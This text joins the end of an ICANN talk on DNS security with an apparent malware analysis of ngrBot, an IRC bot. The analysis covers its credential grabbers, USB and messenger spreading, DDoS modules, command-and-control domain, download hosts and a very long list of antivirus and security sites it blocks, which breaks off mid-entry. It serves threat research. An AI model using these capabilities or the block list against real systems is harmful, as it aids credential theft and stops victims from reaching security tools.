Who is the registrant of the IP addresses used in the attack? - Who is the registrant of the domain names used in the attack? Attribution requires data sources which is the primary role of registration data: - Registration records for IP addresses and AS numbers (RIRs) - Registration data for domain names ### ICANN’s Coordination Role ICANN has a team inside the Office of the CTO (OCTO) that works with organizations during a cyberattack to coordinate responses: - Deep understanding of cybercrime from both perspectives (attackers and responders). - Strong connections to global law enforcement and the Internet’s OpSec community. - The team uses their deep understanding and their strong community connections to bring all the parties together during takedown efforts. - ICANN has a Coordinated Disclosure Process that security researchers, registries, registrars, and others in the community can use to report vulnerabilities and bugs to ICANN. ### ICANN’s Role: After a Cybersecurity Incident **Post Mortem Activities**: - Conferences to understand what happened and identify vulnerabilities: - ICANN DNS Symposium - DNS-OARC - NOGs - Adjust the ecosystem to harden the Internet against these attacks: - Policy updates? - Contract updates? - Protocol (re)development? - Community capacity building: - Network operators - Global law enforcement ### Conclusion **Takeaway**: The DNS really matters. - The DNS is no longer just a technical function of the network run by system administrators. - The DNS is now a critical infrastructure used in everyday communications (e-mail, web browsing, mobile applications) and is a gateway to all your internal systems. - It is critical that policymakers and organization decision-makers pay attention to their DNS infrastructure. If your DNS is compromised, all of your systems and networks are at serious risk. **Takeaway**: New ICANN Recommendations - ICANN strongly recommends a set of cybersecurity measures to harden your local DNS infrastructure against attacks. Steps include implementing strong cybersecurity practices for: - Authorization - Authentication - Encryption - Patching - E-mail Security - One of the most important recommendations is to implement DNSSEC. **Takeaway**: Cybersecurity is a major topic in ICANN. - Cybersecurity is a major focus for ICANN’s community and for the ICANN org. - ICANN defines cybercrime to include things like malware distribution, phishing attempts, operating botnets, piracy, and fraudulent or deceptive business practices. - So much of the time and effort that everyone in the ICANN ecosystem contributes is work intended to increase the stability, security, and resiliency of the Internet and its system of unique identifiers. ### Questions and Answers Please ask questions!
# Stop Malvertising Today we will have a closer look at ngrBot, an IRC bot with rootkit capabilities. The core of ngrBot is an advanced ring3 (user mode) system-wide injection and hooking engine similar to ZeuS and SpyEye. NgrBot will inject code into almost every running process on the computer and is able to terminate processes. It will install to the user’s Application Data folder under a randomly generated filename using the HDD serial number as the initial key. The bot is also able to block access to certain domains and redirect domains/IPs to others. It’s able to spread via USB devices and Windows Live Messenger. More recently, ngrBot has been spotted on Facebook but also on Twitter, using the microblogging service to spread itself. ## Modules and Features ### Rootkit The rootkit module will attempt to hide the bot’s registry startup key as well as the bot file. ### Ruskill The Ruskill module will, if enabled for a download command, monitor the downloaded file as it executes. Ruskill will flag any files that it copies itself to or creates to be deleted at the next system reboot. ### Proactive defense The PDef module is an advanced threat detection and removal system. It monitors a range of file and networking APIs to detect and neutralize other threats that are running on the system. Currently, this module can detect, block, and remove malware that spreads via USB drives, browser exploit packs, and bots that use IRC to communicate. ### DNS Modifier This module can block domains from being accessed and redirect domains/IP addresses to others. ### Slowloris This module is for web servers running Apache HTTPd. It’s designed to use low bandwidth and to maintain connections as long as possible, thus consuming all available resources. ### Syn Flood The syn flood module is good for web servers that Slowloris fails to take down. ### UDP Flood This module is ideal for taking home connections offline. ### Internet Explorer Login Grabber This module hooks wininet.dll and analyzes POST requests made by the IE web browser to capture usernames and passwords on the fly. ### Firefox Login Grabber This module hooks nspr4.dll and analyzes POST requests made by the Firefox web browser to capture usernames and passwords on the fly. ### FTP Login Grabber This module hooks ws2_32!send to grab the FTP logins as they are used. ### USB Spreader Waits for USB devices to be inserted and then attempts to infect them using multiple .lnk methods and obfuscated autorun. ### MSN Spreader This module hooks ws2_32!send to detect MSN messages being sent. It will then monitor outgoing messages and wait for the spoofed number of messages to be sent before replacing one with the set spread message. It has been tested with the msnp10 and msnp21 protocols with msnmsgr.exe, wlcomm.exe, pidgin.exe, and msmsgs.exe. ## Commands - Download - Update - Die - Remove - Mute - Version - Visit - Reconnect - Join Channel - Part Channel - Sort Channel by country - Unsort - Module toggle (enable/disable modules) - Statistics (Spreading/login grabbing) - Retrieve all cached logs - Syn - UDP - Slowloris - Stop DDoS - Set MSN Interval - Block/Redirect Domain and IP Address The full package containing all the modules is sold for $400. NgrBot can also be obtained a la carte, meaning no modules, pick and choose which modules you want to include. ## Analysis of ngrBot Upon execution, facebook-pic0008422012.exe copies itself under a random name based on the HDD serial number (vgbkbf.exe in our analysis), using Kernel32.GetVolumeInformationW, to the C:\Documents and Settings\[username]\Application Data\ folder. The newly created process vgbkbf.exe will attempt to inject code into the memory space of all running processes. NgrBot will initiate communication with its C&C located at update.jebac.net through IRC. The domain api.wipmania.com is used to retrieve the country code based on the victim’s IP. The HTTP/MSN spread message followed by a link to the binary is transmitted via IRC, and instructions are given to download a list of blocked domains from data.fuskbugg.se and a new binary called milkway.exe (saved as 1.tmp) from RapidShare. The bot will report back to the C&C if the download was successful or not and if the file was executed. ### List of blocked domains - dnl-cd14.kaspersky-labs.com - dnl-kr14.kaspersky-labs.com - download657.avast.com - dl3.antivir-pe.com - sophos3.ucd.ie - updates1.kaspersky-labs.com - diamondcs.fileburst.com - bitdefender.fr - sophos4.ucd.ie - updates2.kaspersky-labs.com - dispatch.mcafee.com - bkav.com.vn - sophos5.ucd.ie - updates3.kaspersky-labs.com - blackice.iss.net - sophos6.ucd.ie - updates4.kaspersky-labs.com - dl1.antivir.de - ca.com - avg.de - www.avg.de - download.microsoft.com - go.microsoft.com - msdn.microsoft.com - office.microsoft.com - windowsupdate.microsoft.com - avp.ru - kaspersky.ru - kaspersky.com - kaspersky-labs.com - downloads1.kaspersky-labs.com - downloads2.kaspersky-labs.com - downloads3.kaspersky-labs.com - downloads4.kaspersky-labs.com - downloads5.kaspersky-labs.com - viruslist.com - viruslist.ru - symantec.com - customer.symantec.com - liveupdate.symantec.com - liveupdate.symantecliveupdate.com - securityresponse.symantec.com - service1.symantec.com - updates.symantec.com - ad.doubleclick.net - ad.fastclick.net - ads.fastclick.net - ar.atwola.com - atdmt.com - avp.ch - avp.com - awaps.net - banner.fastclick.net - banners.fastclick.net - click.atdmt.com - clicks.atdmt.com - download.mcafee.com - downloads.microsoft.com - engine.awaps.net - fastclick.net - f-secure.com - ftp.f-secure.com - ftp.sophos.com - mast.mcafee.com - mcafee.com - media.fastclick.net - my-etrust.com - nai.com - networkassociates.com - phx.corporate-ir.net - secure.nai.com - sophos.com - spd.atdmt.com - support.microsoft.com - update.symantec.com - us.mcafee.com - vil.nai.com - trendmicro.com - us.trendmicro.com - www3.ca.com - ids.kaspersky-labs.com - rads.mcafee.com - grisoft.com - avira.com - bitdefender.com - dl2.antivir.de - dl3.antivir.de - dl4.antivir.de - downloads-us1.kaspersky-labs.com - downloads-us2.kaspersky-labs.com - downloads-us3.kaspersky-labs.com - drweb.com - eset.com - esetindia.com - free-av.com - ftp.downloads2.kaspersky-labs.com - ftp.kasperskylab.ru - microsoft.com - updates5.kaspersky-labs.com - virusscan.jotti.org - virustotal.com - update.ikaka.com - msnfix.changelog.fr - incodesolutions.com - virusinfo.prevx.com - download.bleepingcomputer.com - dazhizhu.cn - foro.noticias3d.com - nabble.com - lurker.clamav.net - lexikon.ikarus.at - research.sunbelt-software.com - virusdoctor.jp - elitepvpers.de - guru.avg.com - superuser.co.kr - ntfaq.co.kr - v.dreamwiz.com - cit.kookmin.ac.kr - forums.whatthetech.com - forum.hijackthis.de - avg.vo.llnwd.net - huaifai.go.th - mostz.com - krupunmai.com - cddchiangmai.net - forum.malekal.com - tech.pantip.com - sapcupgrades.com - 247fixes.com - forum.sysinternals.com - forum.telecharger.01net.com - foros.softonic.com - avast-home.uptodown.com - dr-web-cureit.softonic.com - chkrootkit.org - diamondcs.com.au - rootkit.nl - sysinternals.com - z-oleg.com - espanol.dir.groups.yahoo.com - castlecrops.com - misec.net - safecomputing.umn.edu - antirootkit.com - greatis.com - ar.answers.yahoo.com - elhacker.org - rootkit.com - pctools.com - pcsupportadvisor.com - resplendence.com - personal.psu.edu - foro.ethek.com - foro.elhacker.net - vil.nail.com - search.mcafee.com - wmcafee.com - download.nai.com - wexperts-exchange.com - bakunos.com - darkclockers.com - Merijn.org - spywareinfo.com - spybot.info - hijackthis.de - forum.kaspersky.com - majorgeeks.com - linhadefensiva.uol.com.br - cmmings.cn - sergiwa.com - el-hacker.com - avg-antivirus.net - bleepingcomputer.com - free.grisoft.com - alerta-antivirus.inteco.es - analysis.seclab.tuwien.ac.at - kztechs.com - ad-aware-se.uptodown.com - stdio-labs.blogspot.com - box.net - foro.el-hacker.com - free.avg.com - tecno-soft.com - ladooscuro.es - ftp.drweb.com - download.microsoft.comguru0.grisoft.cz - guru1.grisoft.cz - guru2.grisoft.cz - guru3.grisoft.cz - guru4.grisoft.cz - guru5.grisoft.cz - virusspy.com - download.f-secure.com - malwareremoval.com - forums.cnet.com - hjt-data.trend-braintree.com - pantip.com - secubox.aldria.com - forospyware.com - manuelruvalcaba.com - zonavirus.com - leforo.com - siteadvisor.com - blog.threatfire.com - threatexpert.com - blog.hispasec.com - configurarequipos.com - sosvirus.changelog.fr - psicofxp.com - mailcenter.rising.com.cn - mailcenter.rising.com - rising.com.cn - rising.com - babooforum.com.br - runscanner.net - blogschapines.com - upload.changelog.fr - raymond.cc - changelog.fr - pcentraide.com - atazita.blogspot.com - thinkpad.cn - final4ever.com - files.filefont.com - infos-du-net.com - trendsecure.com - forum.hardware.fr - utilidades-utiles.com - blogs.icerocket.com - spychecker.com - geekstogo.com - forums.maddoktor2.com - smokey-services.eu - clubic.com - linhadefensiva.org - rolandovera.com - download.sysinternals.com - pcguide.com - thetechguide.com - ozzu.com - changedetection.com - espanol.groups.yahoo.com - sunbeltsecurity.com - community.thaiware.com - avpclub.ddns.info - offensivecomputing.net - boardreader.com - guiadohardware.net - msnvirusremoval.com - cisrt.org - fixmyim.com - samroeng.hi5.com - daboweb.com - forums.techguy.org - hijackthis.download3000.com - cybertechhelp.com - superdicas.com.br - 51nb.com - downloads.andymanchesta.com - andymanchesta.com - info.prevx.com - aknow.prevx.com - securitywonks.net - yoreparo.com - lavasoft.com - virscan.org - eeload.com - file.net - onecare.live.com - mvps.org - laneros.com - housecall.trendmicro.com - avast.com - onlinescan.avast.com - ewido.net - trucoswindows.net - mozilla-hispano.org - futurenow.bitdefender.com - f-prot.com - security.symantec.com - oldtimer.geekstogo.com - kr.ahnlab.com - thejokerx.blogspot.com - 2-spyware.com - antivir.es - prevx.com - ikarus.net - bbs.s-sos.net - forums.majorgeeks.com - castlecops.com - kaspersky.es - subs.geekstogo.com - forospanish.com - fortinet.com - safer-networking.org - fortiguardcenter.com - dougknox.com - vsantivirus.com - firewallguide.com - auditmypc.com - spywaredb.com - mxttchina.com - ziggamza.net - forospyware.es - pogonyuto.forospanish.com - antivirus.comodo.com - spywareterminator.com - eradicatespyware.net - freespywareremoval.info - personalfirewall.comodo.com - clamav.net - clamwin.com - antivirus.about.com - pandasecurity.com - webphand.com - mx.answers.yahoo.com - sandboxie.com - clamwin.com - cwsandbox.org - arswp.com - es.answers.yahoo.com - trucoswindows.es - networkworld.com - norman.com - espanol.answers.yahoo.com - tallemu.com - viruschief.com - scanner.virus.org - housecall65.trendmicro.com - hjt.networktechs.com - techsupportforum.com - whatthetech.com - soccersuck.com - comunidad.wilkinsonpc.com.co - forum.piriform.com - tweaksforgeeks.com - daniweb.com - pchell.com - spyany.com - experts-exchange.com - wikio.es - forums.devshed.com - forum.tweaks.com - wilderssecurity.com - techspot.com - thecomputerpitstop.com - es.wasalive.com - secunia.com - es.kioskea.net - taringa.net - cyberdefender.com - feedage.com - new.taringa.net - forum.zazana.com - forum.clubedohardware.com.br - computing.net - discussions.virtualdr.com - forum.securitycadets.com - techimo.com - 13iii.com - dicasweb.com.br - usbcleaner.cn - net-security.org - bleedingthreats.net - acs.pandasoftware.com - funkytoad.com - 360safe.cn - 360safe.com - bbs.360safe.cn - bbs.360safe.com - codehard.wordpress.com - 360.cn - 360.com - p3dev.taringa.net - precisesecurity.com - baike.360.cn - baike.360.com - kaba.360.cn - kaba.360.com - deckard.geekstogo.com - forums.comodo.com - down.360safe.cn - down.360safe.com - x.360safe.com - dl.360safe.com - hotshare.net - free.antivirus.com - updatem.360safe.com - updatem.360safe.cn - update.360safe.cn - update.360safe.com - bbs.duba.net - duba.net - zhidao.baidu.com - hi.baidu.com - drweb.com.es - msncleaner.softonic.com - javacoolsoftware.com - file.ikaka.com - file.ikaka.cn - bbs.ikaka.com - zhidao.ikaka.com - eset-la.com - software-files.download.com - ikaka.com - ikaka.cn - bbs.cfan.com.cn - cfan.com.cn - es.mcafee.com - downloads.malwarebytes.org - bbs.kafan.cn - bbs.kafan.com - bbs.kpfans.com - bbs.taisha.org - support.f-secure.com - bbs.winzheng.com - foros.zonavirus.com - alerta-antivirus.red.es - malwarebytes.org - commentcamarche.net - infospyware.com - bitdefender.es - foros.toxico-pc.com - emsisoft.de - securitynewsportal.com - secuser.com - a188.x.akamai.net - liveupdate.symantec.d4p.net - ftp.nai.com - grisoft.cz - free.grisoft.cz - tds.diamondcs.com.au - ieupdate.gdata.de - ieupdate6.gdata.de - ieupdate5.gdata.de - ieupdate4.gdata.de - ieupdate3.gdata.de - ieupdate2.gdata.de - ieupdate1.gdata.de - iavs.cz - download7.avast.com - download6.avast.com - download5.avast.com - download4.avast.com - download3.avast.com - download2.avast.com - download1.avast.com - upgrade.bitdefender.com - lavasoftusa.com - a-2.org - updates.a-2.org - niuone.norman.no - attechnical.com - zeylstra.nl - fractus.mat.uson.mx - toonbox.de - radius.turvamies.com - downloads.My-eTrust.com - v4.windowsupdate.microsoft.com - v5.windowsupdate.microsoft.com - NoAdware.net - nod32.com - nod32.de - nod32.ch - nod32.nl - nod32.com.au - nod32.nankai.edu.cn - eset.co.th - nod32adria.com - update.eset.com - nod32.smartantivirus.ca - www.siammarkets.com - gxrg.org - eset.sk - avu.zonelabs.com - retail.sp.f-secure.com - retail01.sp.f-secure.com - retail02.sp.f-secure.com - moosoft.com - secuser.model-fx.com - viruslab.ca - downloads-eu1.kaspersky-labs.com - pccreg.antivirus.com - updates.sald.com - k-otik.com - megasecurity.org - fr.mcafee.com - antivirus.cai.com - pandasoftware.com - securitoo.com - Kaspersky-FR.com - thaikaspersky.com - kavkisfile.com - avgfrance.com - antivirus-online.de - ftp.esafe.com - ftp.microworldsystems.com - ftp.europe.f-secure.com - ftp.ca.co - ftp.symantec.com - files.trendmicro-europe.com - akamai.net - inline-software.de - ravantivirus.com - drsolomon.com - openantivirus.org - pandasoftware.es - dialognauka.ru - viguard.com - nod32.lu - zonelabs.fr - anti-virus-software-review.com - vet.com.au - eicar.org - anti-virus.com - microsoft.fr - trendmicro.fr - fr.bitdefender.com - sophos.fr - nsclean.com - antiviraldp.com - pestpatrol.com - agnitum.com - simplysup.com - centralcommand.com - www1.my-etrust.com - authentium.com - finjan.com - psnw.com - gwava.nl - gecadsoftware.com - pspl.com - safetynet.com - stiller.com - sybari.com - wildlist.com - mcaffee.com - antivirus.nmt.edu - buymcafeenow.com - deerfield.com - kerio.com - looknstop.com - mcafee-at-home.com - sygate.com - tinysoftware.com - visualizesoftware.com - zonelabs.com - zonelog.co.uk - webroot.com - lavasoft.nu - spywareguide.com - aluriasoftware.com - spyblocker-software.com - spycop.com - wilderssecurity.net - trapware.com - winpatrol.com - liutilities.com - x-cleaner.com - shop.symantec.com - kaspersky.co.uk - housecall.com - sophos7.ucd.ie - dl1.antivir-pe.com - sophos8.ucd.ie - dl1.antivir-pe.de - sophos9.ucd.ie - dl1.avgate.net - sos.rising.com.cn - dl10.freeav.net - spftrl.digitalriver.com - store.digitalriver.com - stats.norton.com - dl2.antivir-pe.com - sucop.com - dl2.antivir-pe.de - sunbeltsoftware.com - dl2.avgate.net - download.com - sunbelt-software.com - vrv.com.cn - download.com.vn - dl3.antivir-pe.de - symantec-ese.baynote.net - dl3.avgate.net - u19.eset.com - u38.eset.com - mmsk.cn - u91.eset.com - eset.ro - download516.avast.com - avastedition.com - www.avastedition.com - 9down.com - dl7.avgate.net - u63.eset.com - dnl-ru1.kaspersky-labs.com - tool.ikaka.com - moneybookers.com - eset.nl - u25.eset.com - u98.eset.com - download925.avast.com - download94.avast.com - download.cnet.com - kaspersky.ca - bbs.kaspersky.com.cn - download926.avast.com - download940.avast.com - bbs.mcafeefans.com - download927.avast.com - download941.avast.com - bbs.sucop.com - download928.avast.com - download942.avast.com - bbs.trendmicro.com.cn - download929.avast.com - download943.avast.com - download93.avast.com - download944.avast.com - bitdefender.de - bitdefender.com.ua - download930.avast.com - download945.avast.com - download931.avast.com - download946.avast.com - buddy.bitdefender.com - download932.avast.com - download947.avast.com - buy.rising.com.cn - download933.avast.com - download948.avast.com - download934.avast.com - download949.avast.com - cdn.atwola.com - download935.avast.com - download95.avast.com - center.rising.com.cn - download936.avast.com - download950.avast.com - cert.org - download937.avast.com - download951.avast.com - download938.avast.com - download952.avast.com - download939.avast.com - download953.avast.com - download954.avast.com - download955.avast.com - cn.mcafee.com - download956.avast.com - download957.avast.com - cn.trendmicro.com - download958.avast.com - download959.avast.com - comodo.com - download96.avast.com - download960.avast.com - coresecurity.com - download961.avast.com - download962.avast.com - cpsecure.com - download963.avast.com - download964.avast.com - csc.rising.com.cn - download965.avast.com - download966.avast.com - download967.avast.com - download968.avast.com - download969.avast.com - download97.avast.com - download970.avast.com - download971.avast.com - dl4.antivir-pe.com - download972.avast.com - download973.avast.com - dl4.antivir-pe.de - download974.avast.com - download975.avast.com - dl4.avgate.net - download976.avast.com - download977.avast.com - dl5.avgate.net - download978.avast.com - download979.avast.com - dl6.avgate.net - download98.avast.com - download980.avast.com - dl8.avgate.net - download99.avast.com - dl8.freeav.net - dl9.avgate.net - dl9.freeav.net - kaspersky.it - dnl-cd1.kaspersky-labs.com - dnl-cd10.kaspersky-labs.com - dswlab.com - eeye.com - dnl-cd11.kaspersky-labs.com - emsisoft.com - dnl-cd12.kaspersky-labs.com - esafe.com - download684.avast.com - dnl-cd4.kaspersky-labs.com - downloads-eu2.kaspersky-labs.com - dnl-us9.kaspersky-labs.com - download649.avast.com - dnl-cn15.kaspersky-labs.com - download618.avast.com - download695.avast.com - download603.avast.com - download685.avast.com - avast.it - dnl-cd5.kaspersky-labs.com - downloads-eu3.kaspersky-labs.com - download.avg.com - akamai.avg.com.edgesuite.net - akamai.grisoft.com.edgesuite.net - akamai.avg.com - akamai.grisoft.com - akamai.avg.cz.edgesuite.net - akamai.avg.cz - akamai.avg.cz.edgesuite.net - akamai.grisoft.cz - download.avg.cz - backup.grisoft.cz - backup.avg.cz - download650.avast.com - download619.avast.com - fw.rising.com.cn - shudoo.com - download696.avast.com - download604.avast.com - download686.avast.com - dnl-cd6.kaspersky-labs.com - downloads-eu4.kaspersky-labs.com - download651.avast.com - download620.avast.com - fx.dk - download697.avast.com - bbs.janmeng.com - download605.avast.com - download687.avast.com - dnl-cd7.kaspersky-labs.com - download.eset.com - eset.fi - download652.avast.com - download621.avast.com - gdata.de - download698.avast.com - dnl-cd13.kaspersky-labs.com - download606.avast.com - download688.avast.com - filseclab.com - dnl-cd8.kaspersky-labs.com - download653.avast.com - download622.avast.com - download699.avast.com - dnl-cd2.kaspersky-labs.com - download607.avast.com - download689.avast.com - dnl-cd9.kaspersky-labs.com - download654.avast.com - download623.avast.com - go.rising.com.cn - dnl-cd3.kaspersky-labs.com - download608.avast.com - download690.avast.com - forum.ikaka.com - dnl-cn1.kaspersky-labs.com - downloads-us4.kaspersky-labs.com - download.norman.no - download655.avast.com - download624.avast.com - download7.quickheal.com - dnl-cn10.kaspersky-labs.com - download609.avast.com - download691.avast.com - forum.jiangmin.com - dnl-cn11.kaspersky-labs.com - sandbox.norman.com - download.rising.com.cn - download656.avast.com - download625.avast.com - download700.avast.com - dnl-cn12.kaspersky-labs.com - download617.avast.com - download692.avast.com - dnl-cn13.kaspersky-labs.com - scanner.novirusthanks.org - ftp.updates1.kaspersky-labs.com - fr.drweb.com - download.softpedia.com - u2.eset.com - u56.eset.com - ftp.updates2.kaspersky-labs.com - download0.avast.com - u20.eset.com - u57.eset.com - ftp.updates3.kaspersky-labs.com - fr1.drweb.com - u21.eset.com - u58.eset.com - ftp.updates4.kaspersky-labs.com - fr2.drweb.com - download1.quickheal.com - u22.eset.com - u59.eset.com - ftp.us.mcafee.com - fr3.drweb.com - download10.quickheal.com - u23.eset.com - u6.eset.com - ftp.viruslist.com - fr4.drweb.com - download100.avast.com - bitdefender.secyber.net - u24.eset.com - u60.eset.com - fr5.drweb.com - download1us.softpedia.com - u26.eset.com - u61.eset.com - fr6.drweb.com - u27.eset.com - u62.eset.com - symantecliveupdate.com - fr7.drweb.com - download2.quickheal.com - u28.eset.com - u64.eset.com - symatec.com - download200.avast.com - u29.eset.com - u65.eset.com - hacksoft.com.pe - download201.avast.com - u3.eset.com - u66.eset.com - hauri.net - download202.avast.com - u30.eset.com - u67.eset.com - help.rising.com.cn - download203.avast.com - u31.eset.com - u68.eset.com - freeav.com - download204.avast.com - u32.eset.com - u69.eset.com - trendmicro.com.cn - download205.avast.com - u33.eset.com - u7.eset.com - ikarus.at - freeav.net - download206.avast.com - iss.net - u34.eset.com - u70.eset.com - uk.trendmicro-europe.com - jetico.com - free-av.net - download207.avast.com - k7computing.com - u35.eset.com - u71.eset.com - ftp.avp.com - download641.avast.com - download920.avast.com - dnl-kr7.kaspersky-labs.com - kaspersky.gr - anti-virus.by - ftp.bitdefender.com - update.sophos.com - dnl-us5.kaspersky-labs.com - JUSTFACEBOOK.NET - download214.avast.com - download81.avast.com - mcafeefans.com - mirror02.gdata.de - msk.drweb.com - msk1.drweb.com - msk2.drweb.com - msk3.drweb.com - msk4.drweb.com - msk5.drweb.com - msk6.drweb.com - msk7.drweb.com - niueight.norman.no - niufive.norman.no - niufour.norman.no - niunine.norman.no - niuseven.norman.no - niusix.norman.no - niuthree.norman.no - niutwo.norman.no - nod32.co.uk - nod32.datsec.de - nod32.ru - norton.com - notifier.antivir-pe.de - online.jiangmin.com - online.rising.com.cn - outpost.pl - pccreg.trendmicro.com - pcinternetpatrol.com - quickheal.co.in - reg.rising.com.cn - renewalcenter.symantec.com - safe.qq.com - scan.kingsoft.com - secdreg.org - securecomputing.com - shadow.grisoft.cz - shadu.baidu.com - shadu.duba.net - sophos1.ucd.ie - sophos10.ucd.ie - sophos2.ucd.ie - u0.eset.com - u1.eset.com - u10.eset.com - u100.eset.com - u11.eset.com - u12.eset.com - u13.eset.com - u36.eset.com - u78.eset.com - kaspersky.co.jp - download211.avast.com - kpfans.com - download208.avast.com - dnl-cn14.kaspersky-labs.com - download659.avast.com - ftp.ca.com - download693.avast.com - dnl-us2.kaspersky-labs.com - u36eset.com - u79.eset.com - download212.avast.com - kvup.jiangmin.com - download209.avast.com - download660.avast.com - ftp.customer.symantec.com - download694.avast.com - dnl-us3.kaspersky-labs.com - kaspersky.com.cn - kaspersky.de - eset.co.uk - u37.eset.com - u8.eset.com - kaspersky.dk - download213.avast.com - download210.avast.com - download661.avast.com - ftp.dispatch.mcafee.com - download701.avast.com - dnl-us4.kaspersky-labs.com - kasperskylab.co.kr - download4.quickheal.com - download663.avast.com - ftp.downloads1.kaspersky-labs.com - download703.avast.com - dnl-us7.kaspersky-labs.com - kasperskylab.nl - u4.eset.com - u82.eset.com - download5.quickheal.com - download664.avast.com - download704.avast.com - dnl-us8.kaspersky-labs.com - kav.ru - u40.eset.com - u83.eset.com - kav.zonelabs.com - download501.avast.com - malwaredomainlist.com - download502.avast.com - download665.avast.com - ftp.downloads3.kaspersky-labs.com - download705.avast.com - download503.avast.com - kb.bitdefender.com - u41.eset.com - u84.eset.com - download504.avast.com - download505.avast.com - download666.avast.com - ftp.downloads4.kaspersky-labs.com - download706.avast.com - download511.avast.com - u42.eset.com - u85.eset.com - u14.eset.com - download512.avast.com - u15.eset.com - ftp.downloads-eu1.kaspersky-labs.com - download82.avast.com - ftp.downloads-eu2.kaspersky-labs.com - download658.avast.com - download513.avast.com - zeustracker.abuse.ch - dnl-us11.kaspersky-labs.com - ftp.downloads-eu3.kaspersky-labs.com - download75.avast.com - u43.eset.com - download626.avast.com - download514.avast.com - ftp.downloads-eu4.kaspersky-labs.com - download667.avast.com - download515.avast.com - zonealarm.com - dnl-us12.kaspersky-labs.com - ftp.downloads-us1.kaspersky-labs.com - download76.avast.com - zs.kingsoft.com - u44.eset.com - download627.avast.com - ftp.downloads-us2.kaspersky-labs.com - download668.avast.com - download6.quickheal.com - bitcity.info - dnl-us13.kaspersky-labs.com - ftp.downloads-us3.kaspersky-labs.com - download77.avast.com - bitcity.org - u45.eset.com - download628.avast.com - download600.avast.com - ftp.downloads-us4.kaspersky-labs.com - download669.avast.com - download601.avast.com - ilove.tigolbittys.info - dnl-us14.kaspersky-labs.com - download78.avast.com - ulove.tigolbittys.info - u46.eset.com - download629.avast.com - download602.avast.com - download670.avast.com - download630.avast.com - free.tinypicbox.com - dnl-us15.kaspersky-labs.com - ftp.f-prot.com - download79.avast.com - one.tinypicbox.com - u47.eset.com - download631.avast.com - download632.avast.com - download671.avast.com - download633.avast.com - gangbang.mytijn.org - download634.avast.com - ftp.grisoft.com - download8.quickheal.com - irc.bigshitsandwich.org - u48.eset.com - download635.avast.com - download636.avast.com - ftp.kaspersky.com - download672.avast.com - download637.avast.com - l33t.shadow-mods.net - download638.avast.com - ftp.kaspersky-labs.com - download80.avast.com - irc.metraiciono.com - u49.eset.com - download639.avast.com - download640.avast.com - ftp.liveupdate.symantec.com - download673.avast.com - download642.avast.com - download643.avast.com - ftp.liveupdate.symantecliveupdate.com - download83.avast.com - lovings.technigoyous.net - u5.eset.com - download644.avast.com - download645.avast.com - ftp.mast.mcafee.com - download674.avast.com - download646.avast.com - download647.avast.com - ftp.mcafee.com - download84.avast.com - u50.eset.com - download648.avast.com - download675.avast.com - download676.avast.com - download677.avast.com - download678.avast.com - ftp.my-etrust.com - download85.avast.com - u51.eset.com - download679.avast.com - download680.avast.com - download681.avast.com - download682.avast.com - download683.avast.com - ftp.networkassociates.com - download9.quickheal.com - u52.eset.com - download707.avast.com - u53.eset.com - download922.avast.com - ftp.norton.com - ftp.rads.mcafee.com - ftp.sandbox.norman.com - dnl-ru13.kaspersky-labs.com - u54.eset.com - download923.avast.com - ftp.secure.nai.com - ftp.securityresponse.symantec.com - dnl-ru14.kaspersky-labs.com - u55.eset.com - download924.avast.com - ftp.symantecliveupdate.com - ftp.symatec.com - ftp.trendmicro.com - dnl-ru15.kaspersky-labs.com - u72.eset.com - ftp.uk.trendmicro-europe.com - ftp.update.symantec.com - ftp.updates.symantec.com - u16.eset.com - dnl-ru2.kaspersky-labs.com - u73.eset.com - u17.eset.com - u18.eset.com - u74.eset.com - u75.eset.com - dnl-ru3.kaspersky-labs.com - u76.eset.com - u77.eset.com - u86.eset.com - u87.eset.com - u88.eset.com - dnl-ru4.kaspersky-labs.com - u89.eset.com - u9.eset.com - u90.eset.com - pcav.cn - u92.eset.com - u93.eset.com - dnl-ru5.kaspersky-labs.com - u94.eset.com - u95.eset.com - u96.eset.com - u97.eset.com - u99.eset.com - dnl-ru6.kaspersky-labs.com - up.duba.net - up.rising.com.cn - abuse.ch - up1.nod123.cn - upd.zonelabs.com - dnl-ru7.kaspersky-labs.com - update.aladdin.com - update.authentium.com - update.avg.com - backup.avg.cz - backup.grisoft.cz - download.avg.cz - update.avgfrance.com - dnl-ru8.kaspersky-labs.com - update.bitdefender.com - update.drweb.com - update.ewido.com - agfirewall.ru - update.grisoft.com - update.grisoft.cz - dnl-ru9.kaspersky-labs.com - update.hispasec.com - update.ikarus-software.at - update.quickheal.com - update.rising.com.cn - dnl-us1.kaspersky-labs.com - update.trendmicro.com - update7.jiangmin.com - agnitum.de - updates.drweb.com - dnl-us10.kaspersky-labs.com - updates.f-prot.com - agnitum.fr - download708.avast.com - upgrade1.bitdefender.com - upgrade2.bitdefender.com - agnitum.ru - download709.avast.com - upgrade3.bitdefender.com - upgrade4.bitdefender.com - ahnlab.com - download72.avast.com - download73.avast.com - download74.avast.com - download900.avast.com - download901.avast.com - download902.avast.com - download903.avast.com - ahn.com.cn - download904.avast.com - vncsvr.com - download905.avast.com - download906.avast.com - download907.avast.com - download908.avast.com - download909.avast.com - virusbuster.hu - download91.avast.com - download910.avast.com - download911.avast.com - download912.avast.com - download913.avast.com - download914.avast.com - atwola.com - download915.avast.com - download916.avast.com - download917.avast.com - download918.avast.com - download919.avast.com - download92.avast.com - bitdefender.co.uk - download921.avast.com - jotti.org - alert.rising.com.cn - antispy.ru - arcabit.com - arcabit.pl - ashampoo.com - avast.ru - avg.com - avgate.net - dnl-eu10.kaspersky-labs.com - bbs.360.cn - dnl-jp14.kaspersky-labs.com - bbs.cpcw.com - bbs.dswlab.com - neuber.com - processlibrary.com - dnl-jp15.kaspersky-labs.com - dnl-cn2.kaspersky-labs.com - dnl-jp2.kaspersky-labs.com - dnl-cn3.kaspersky-labs.com - dnl-jp3.kaspersky-labs.com - dnl-cn4.kaspersky-labs.com - dnl-jp4.kaspersky-labs.com - dnl-cn5.kaspersky-labs.com - dnl-cn6.kaspersky-labs.com - dnl-jp5.kaspersky-labs.com - dnl-cn7.kaspersky-labs.com - dnl-cn8.kaspersky-labs.com - dnl-cn9.kaspersky-labs.com - dnl-jp6.kaspersky-labs.com - dnl-eu1.kaspersky-labs.com - dnl-eu11.kaspersky-labs.com - dnl-eu12.kaspersky-labs.com - dnl-jp7.kaspersky-labs.com - dnl-eu13.kaspersky-labs.com - dnl-eu14.kaspersky-labs.com - dnl-eu15.kaspersky-labs.com - dnl-jp8.kaspersky-labs.com - dnl-eu2.kaspersky-labs.com - dnl-eu3.kaspersky-labs.com - dnl-eu4.kaspersky-labs.com - dnl-jp9.kaspersky-labs.com - dnl-eu5.kaspersky-labs.com - 